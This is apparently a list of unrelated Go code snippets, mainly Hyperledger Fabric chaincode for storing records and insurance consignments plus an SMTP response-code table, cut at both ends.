{\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\tcheck, err = t.Amountfieldscheck(record_specification_input, map_specification)\r\n\r\n\tif check == 1 {\r\n\r\n\t\tfmt.Println(err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err.Error())\r\n\t}\r\n\r\n\trecord_specification, err = t.Mapinputfieldstotarget(record_specification_input, map_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in decoding and/or mapping record: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in decoding and/or mapping record: \" + err.Error())\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\t\t\t\tfmt.Println(spec)\r\n\t\t\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& New Record &&&&&&&& \", record_specification)\r\n\r\n\tvar default_fields interface{}\r\n\r\n\tvar default_fields_data map[string]interface{}\r\n\r\n\tvar ok_default bool\r\n\r\n\tdefault_fields, ok = map_specification[\"default_fields\"]\r\n\r\n\tif ok {\r\n\r\n\t\tdefault_fields_data, ok_default = default_fields.(map[string]interface{})\r\n\r\n\t\tif !ok_default {\r\n\r\n\t\t\tdefault_fields_data = make(map[string]interface{})\r\n\t\t}\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& Default Fields &&&&&&&& \", default_fields_data)\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"Error: There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error Failed to get state for primary key: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Failed to get state for primary key: \" + err.Error())\r\n\r\n\t}\r\n\r\n\tvar record_specification_old = make(map[string]interface{})\r\n\r\n\tif valAsBytes != nil {\r\n\r\n\t\tfmt.Println(\"Record is already present in blockchain for key \" + key)\r\n\r\n\t\terr = json.Unmarshal([]byte(valAsBytes), &record_specification_old)\r\n\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in format of blockchain record\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in format of blockchain record\")\r\n\t\t}\r\n\r\n\t\terr_del := t.delete_composite_keys(stub, specs, record_specification_old, key)\r\n\r\n\t\tif err_del != nil {\r\n\r\n\t\t\tfmt.Println(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error in deleting composite keys\" + err_del.Error())\r\n\t\t}\r\n\r\n\t\tfmt.Println(\"&&&&&&& Old Record Record &&&&&&&& \", record_specification_old)\r\n\r\n\t\tfmt.Println(\"&&&&&&& New Record Record again &&&&&&&& \", record_specification)\r\n\r\n\t\tfor spec, _ := range record_specification {\r\n\r\n\t\t\t//if default_fields_data[spec]==nil {\r\n\r\n\t\t\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\r\n\t\t\t//}\r\n\t\t}\r\n\r\n\t\tfor spec, _ := range default_fields_data {\r\n\r\n\t\t\tif record_specification_old[spec] == nil {\r\n\r\n\t\t\t\trecord_specification_old[spec] = default_fields_data[spec]\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfmt.Println(\"&&&&&&& Updated Old Record Record &&&&&&&& \", record_specification_old)\r\n\r\n\t\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\r\n\r\n\t\tfmt.Println(\"Updated ---- Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//fmt.Println(\"Updated ---- err_validation is \" + err_validation.Error())\r\n\r\n\t\tif status == -2 {\r\n\r\n\t\t\tfmt.Println(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t}\r\n\r\n\t\tif err_validation != nil {\r\n\r\n\t\t\tif status == -1 {\r\n\r\n\t\t\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t} else {\r\n\r\n\t\tfor spec, _ := range default_fields_data {\r\n\r\n\t\t\trecord_specification_old[spec] = default_fields_data[spec]\r\n\t\t}\r\n\r\n\t\tfor spec, _ := range record_specification {\r\n\r\n\t\t\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\r\n\t\t}\r\n\r\n\t\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\r\n\r\n\t\t//fmt.Println(\"Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//if err_validation!=nil {\r\n\r\n\t\t//\tfmt.Println(\"err_validation is \" + err_validation.Error())\r\n\r\n\t\t//\tif((status == -1)||(status == -2)) {\r\n\t\t//\r\n\t\t//\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t//\t}\r\n\r\n\t\t//}\r\n\r\n\t\tfmt.Println(\"Updated ---- Status is \" + strconv.Itoa(status))\r\n\r\n\t\t//fmt.Println(\"Updated ---- err_validation is \" + err_validation.Error())\r\n\r\n\t\tif status == -2 {\r\n\r\n\t\t\tfmt.Println(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Exiting due to Validation Config failure: \" + err_validation.Error())\r\n\r\n\t\t}\r\n\r\n\t\tif err_validation != nil {\r\n\r\n\t\t\tif status == -1 {\r\n\r\n\t\t\t\tsuccess = success + \" \" + err_validation.Error()\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tfmt.Println(\"&&&&&&& Updated Old Record Record again &&&&&&&& \", record_specification_old)\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification_old)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON\")\r\n\t}\r\n\r\n\tfmt.Println(\"&&&&&&& Updated Old Record JSON &&&&&&&& \" + string(concatenated_record_json))\r\n\r\n\tfmt.Println(\"&&&&&&& Key for Put &&&&&&&& \" + key)\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to put state: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to put state: \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification_old, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in creating composite keys: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Error(\"Error in creating composite keys: \" + err.Error())\r\n\t}\r\n\r\n\tif success != \"\" {\r\n\r\n\t\tfmt.Println(\"Warnings! \" + success)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Success([]byte(\"Warnings! \" + success))\r\n\r\n\t} else {\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_insert_update***********\")\r\n\r\n\t\treturn shim.Success(nil)\r\n\t}\r\n\r\n}", "func DecodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (o DiagnosticConditionResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticConditionResponse) string { return v.Code }).(pulumi.StringOutput)\n}", "func(t* SimpleChaincode) consignmentDetail(stub shim.ChaincodeStubInterface,args []string) pb.Response {\n \n var err error\n if len(args) != 20 {\n return shim.Error(\" hi Incorrect number of arguments. Expecting 20\")\n }\n //input sanitation\n fmt.Println(\"- start filling policy detail\")\n if len(args[0])<= 0{\n return shim.Error(\"1st argument must be a non-empty string\")\n }\n if len(args[1]) <= 0 {\n return shim.Error(\"2st argument must be a non-empty string\")\n }\n if len(args[2]) <= 0 {\n return shim.Error(\"3rd argument must be a non-empty string\")\n }\n if len(args[3]) <= 0 {\n return shim.Error(\"4th argument must be a non-empty string\")\n }\n if len(args[4]) <= 0 {\n return shim.Error(\"5th argument must be a non-empty string\")\n }\n if len(args[5]) <= 0{\n return shim.Error(\"6th argument must be a non-empty string\")\n }\n if len(args[6]) <= 0{\n return shim.Error(\"7th argument must be a non-empty string\")\n }\n if len(args[7]) <= 0{\n return shim.Error(\"8th argument must be a non-empty string\")\n }\n if len(args[8]) <= 0{\n return shim.Error(\"9th argument must be a non-empty string\")\n }\n if len(args[9]) <= 0{\n return shim.Error(\"10th argument must be a non-empty string\")\n }\n if len(args[10]) <= 0{\n return shim.Error(\"11th argument must be a non-empty string\")\n }\n if len(args[11]) <= 0{\n return shim.Error(\"12th argument must be a non-empty string\")\n }\n if len(args[12]) <= 0{\n return shim.Error(\"13th argument must be a non-empty string\")\n }\n if len(args[13]) <= 0{\n return shim.Error(\"14th argument must be a non-empty string\")\n }\n if len(args[14]) <= 0{\n return shim.Error(\"15th argument must be a non-empty string\")\n }\n if len(args[15]) <= 0{\n return shim.Error(\"16th argument must be a non-empty string\")\n }\n\tif len(args[16]) <= 0{\n return shim.Error(\"17th argument must be a non-empty string\")\n }\n if len(args[17]) <= 0{\n return shim.Error(\"18th argument must be a non-empty string\")\n }\n if len(args[18]) <= 0{\n return shim.Error(\"19th argument must be a non-empty string\")\n }\n if len(args[19]) <= 0{\n return shim.Error(\"20th argument must be a non-empty string\")\n }\n \n consignment:=Consignment{}\n consignment.UserId = args[0]\n \n \n consignment.ConsignmentWeight, err = strconv.Atoi(args[1])\n if err != nil {\n return shim.Error(\"Failed to get ConsignmentWeight as cannot convert it to int\")\n }\n consignment.ConsignmentValue, err = strconv.Atoi(args[2])\n if err != nil {\n return shim.Error(\"Failed to get ConsignmentValue as cannot convert it to int\")\n }\n consignment.PolicyName=args[3]\n fmt.Println(\"consignment\", consignment)\n consignment.SumInsured, err = strconv.Atoi(args[4])\n if err != nil {\n return shim.Error(\"Failed to get SumInsured as cannot convert it to int\")\n }\n consignment.PremiumAmount, err = strconv.Atoi(args[5])\n if err != nil {\n return shim.Error(\"Failed to get Arun as cannot convert it to int\")\n }\n \n consignment.ModeofTransport=args[6]\n fmt.Println(\"consignment\", consignment)\n consignment.PackingMode=args[7]\n fmt.Println(\"consignment\", consignment)\n consignment.ConsignmentType=args[8]\n fmt.Println(\"consignment\", consignment)\n consignment.ContractType=args[9]\n fmt.Println(\"consignment\", consignment)\n consignment.PolicyType=args[10]\n fmt.Println(\"consignment\", consignment)\n \n consignment.Email=args[11]\n fmt.Println(\"consignment\", consignment)\n \n consignment.PolicyHolderName=args[12]\n fmt.Println(\"consignment\", consignment)\n consignment.UserType=args[13]\n fmt.Println(\"consignment\", consignment)\n consignment.InvoiceNo, err = strconv.Atoi(args[14])\n if err != nil {\n return shim.Error(\"Failed to get InvoiceNo as cannot convert it to int\")\n }\n consignment.PolicyNumber, err = strconv.Atoi(args[15])\n if err != nil {\n return shim.Error(\"Failed to get PolicyNumber as cannot convert it to int\")\n }\n\tconsignment.PolicyIssueDate = args[16]\n\tconsignment.PolicyEndDate = args[17]\n\tconsignment.VoyageStartDate = args[18]\n\tconsignment.VoyageEndDate = args[19]\n \n consignmentAsBytes, err := stub.GetState(\"getconsignment\")\n if err != nil {\n return shim.Error(\"Failed to get consignment\")\n }\n \n var allconsignment AllConsignment\n json.Unmarshal(consignmentAsBytes, &allconsignment) //un stringify it aka JSON.parse()\n allconsignment.Consignmentlist = append(allconsignment.Consignmentlist, consignment)\n fmt.Println(\"allconsignment\", allconsignment.Consignmentlist) //append to allconsignment\n fmt.Println(\"! appended policy to allconsignment\")\n \n jsonAsBytes, _ := json.Marshal(allconsignment)\n fmt.Println(\"json\", jsonAsBytes)\n err = stub.PutState(\"getconsignment\", jsonAsBytes) //rewrite allconsignment\n if err != nil {\n return shim.Error(err.Error())\n }\n \n fmt.Println(\"- end of the consignmentdetail\")\n return shim.Success(nil)\n \n}", "func (t *SimpleChaincode) create(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running create()\")\n\nvar key, jsonResp string\nvar err error\n\nif len(args) != 8 {\n jsonResp = \" Error: Incorrect number of arguments. Expecting 8 in order of PkgID, Shipper, Insurer, Consignee, TempratureMin, TempratureMax, PackageDes, Provider \"\n return nil, errors.New(jsonResp)\n }\n\nvar packageinfo PackageInfo\n\nkey = args[0]\n\npackageinfo.PkgId = args[0]\npackageinfo.Shipper = args[1]\npackageinfo.Insurer = args[2]\npackageinfo.Consignee = args[3]\npackageinfo.TempratureMin , err = strconv.Atoi(args[4])\nif err != nil {\n jsonResp = \" Error: 5th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.TempratureMax , err = strconv.Atoi(args[5])\nif err != nil {\n jsonResp = \" Error: 5th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.PackageDes = args[6]\npackageinfo.Provider = args[7]\npackageinfo.PkgStatus = \"Label_Generated\" // Label_Generated\n\nbytes, err := json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// check for duplicate package id\nvalAsbytes, err := stub.GetState(key)\n\nif valAsbytes != nil {\n jsonResp = \" Package already present on blockchain \" + key\n return nil, errors.New(jsonResp)\n }\n\n// populate package holder\nvar packageids_array PKG_Holder\npackageids_arrayasbytes, err := stub.GetState(\"PkgIdsKey\")\n\nerr = json.Unmarshal(packageids_arrayasbytes, &packageids_array)\nif err != nil {\n fmt.Println(\"Could not marshal pkgid array object\", err)\n return nil, err\n }\n\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\npackageids_arrayasbytes, err = json.Marshal(&packageids_array)\n\n// write to blockchain\nerr = stub.PutState(\"PkgIdsKey\", packageids_arrayasbytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for PKG_Holder\")\n }\n\nerr = stub.PutState(key, bytes)\nif err != nil {\n return nil, err\n }\n\nreturn nil, nil\n}", "func (*IssueCodeResponse) Descriptor() ([]byte, []int) {\n\treturn file_pkg_verifycode_pb_request_proto_rawDescGZIP(), []int{1}\n}", "func (a *Client) ModifyRegistrationDetails(params *ModifyRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ModifyRegistrationDetailsOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewModifyRegistrationDetailsParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"modifyRegistrationDetails\",\n\t\tMethod: \"PATCH\",\n\t\tPathPattern: \"/applications/{appName}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &ModifyRegistrationDetailsReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*ModifyRegistrationDetailsOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for modifyRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (o UserFacingErrorResponseOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v UserFacingErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\n}", "func withReturnValue() string {\n\n\treturn \"hello\"\n}", "func (mmGetCode *mClientMockGetCode) Return(c2 CodeDescriptor, err error) *ClientMock {\n\tif mmGetCode.mock.funcGetCode != nil {\n\t\tmmGetCode.mock.t.Fatalf(\"ClientMock.GetCode mock is already set by Set\")\n\t}\n\n\tif mmGetCode.defaultExpectation == nil {\n\t\tmmGetCode.defaultExpectation = &ClientMockGetCodeExpectation{mock: mmGetCode.mock}\n\t}\n\tmmGetCode.defaultExpectation.results = &ClientMockGetCodeResults{c2, err}\n\treturn mmGetCode.mock\n}", "func (*TestReport_Setup_SetupAction_Operation_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 0, 0}\n}", "func (o *IbmsPatchByIDDefault) Code() int {\n\treturn o._statusCode\n}", "func init() {\n\n\tCodes = Responses{}\n\n\tCodes.FailLineTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Line too long!\",\n\t}).String()\n\n\tCodes.FailMailboxDoesntExist = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Sorry, no mailbox here by that name!\",\n\t}).String()\n\n\tCodes.FailNestedMailCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Nested mail command!\",\n\t}).String()\n\n\tCodes.FailBadSequence = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sequence!\",\n\t}).String()\n\n\tCodes.SuccessMailCmd = (&Response{\n\t\tEnhancedCode: OtherAddressStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessHelpCmd = \"214\"\n\n\tCodes.SuccessRcptCmd = (&Response{\n\t\tEnhancedCode: DestinationMailboxAddressValid,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\n\tCodes.SuccessNoopCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.ErrorUnableToResolveHost = (&Response{\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Unable to resolve host!\",\n\t\tBasicCode: 451,\n\t}).String()\n\n\tCodes.SuccessVerifyCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 252,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Cannot verify user!\",\n\t}).String()\n\n\tCodes.ErrorTooManyRecipients = (&Response{\n\t\tEnhancedCode: TooManyRecipients,\n\t\tBasicCode: 452,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Too many recipients!\",\n\t}).String()\n\n\tCodes.FailTooBig = (&Response{\n\t\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\n\t\tBasicCode: 552,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Message exceeds maximum size!\",\n\t}).String()\n\n\tCodes.FailMailboxFull = (&Response{\n\t\tEnhancedCode: MailboxFull,\n\t\tBasicCode: 522,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Users mailbox is full!\",\n\t}).String()\n\n\tCodes.ErrorRelayDenied = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorAuth = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Problem with auth!\",\n\t}).String()\n\n\tCodes.SuccessQuitCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 221,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Bye!\",\n\t}).String()\n\n\tCodes.FailNoSenderDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No sender!\",\n\t}).String()\n\n\tCodes.FailNoRecipientsDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No recipients!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 530,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Authentication required!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorRelayAccess = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 455,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Oops, problem with relay access!\",\n\t}).String()\n\n\tCodes.SuccessDataCmd = \"354 Go ahead!\"\n\n\tCodes.SuccessAuthentication = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 235,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Authentication successful!\",\n\t}).String()\n\n\tCodes.SuccessStartTLSCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 220,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Ready to start TLS!\",\n\t}).String()\n\n\tCodes.FailUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Unrecognized command!\",\n\t}).String()\n\n\tCodes.FailMaxUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Too many unrecognized commands!\",\n\t}).String()\n\n\tCodes.ErrorShutdown = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 421,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Server is shutting down. Please try again later!\",\n\t}).String()\n\n\tCodes.FailReadLimitExceededDataCmd = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailCmdNotSupported = (&Response{\n\t\tBasicCode: 502,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Cmd not supported\",\n\t}).String()\n\n\tCodes.FailUnqalifiedHostName = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Need fully-qualified hostname for domain part\",\n\t}).String()\n\n\tCodes.FailReadErrorDataCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 451,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailPathTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Path too long\",\n\t}).String()\n\n\tCodes.FailInvalidAddress = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: MAIL FROM:<address> [EXT]\",\n\t}).String()\n\n\tCodes.FailInvalidRecipient = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: RCPT TO:<address>\",\n\t}).String()\n\n\tCodes.FailInvalidExtension = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Invalid arguments\",\n\t}).String()\n\n\tCodes.FailLocalPartTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Local part too long, cannot exceed 64 characters\",\n\t}).String()\n\n\tCodes.FailDomainTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Domain cannot exceed 255 characters\",\n\t}).String()\n\n\tCodes.FailMissingArgument = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Argument is missing in you command\",\n\t}).String()\n\n\tCodes.FailBackendNotRunning = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Transaction failed - backend not running \",\n\t}).String()\n\n\tCodes.FailBackendTransaction = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.SuccessMessageQueued = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 250,\n\t\tClass: ClassSuccess,\n\t\tComment: \"OK Queued as \",\n\t}).String()\n\n\tCodes.FailBackendTimeout = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR transaction timeout\",\n\t}).String()\n\n\tCodes.FailAuthentication = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 535,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Authentication failed\",\n\t}).String()\n\n\tCodes.ErrorCmdParamNotImplemented = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 504,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Command parameter not implemented\",\n\t}).String()\n\n\tCodes.FailRcptCmd = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"User unknown in local recipient table\",\n\t}).String()\n\n\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailBadDestinationMailboxAddressSyntax = 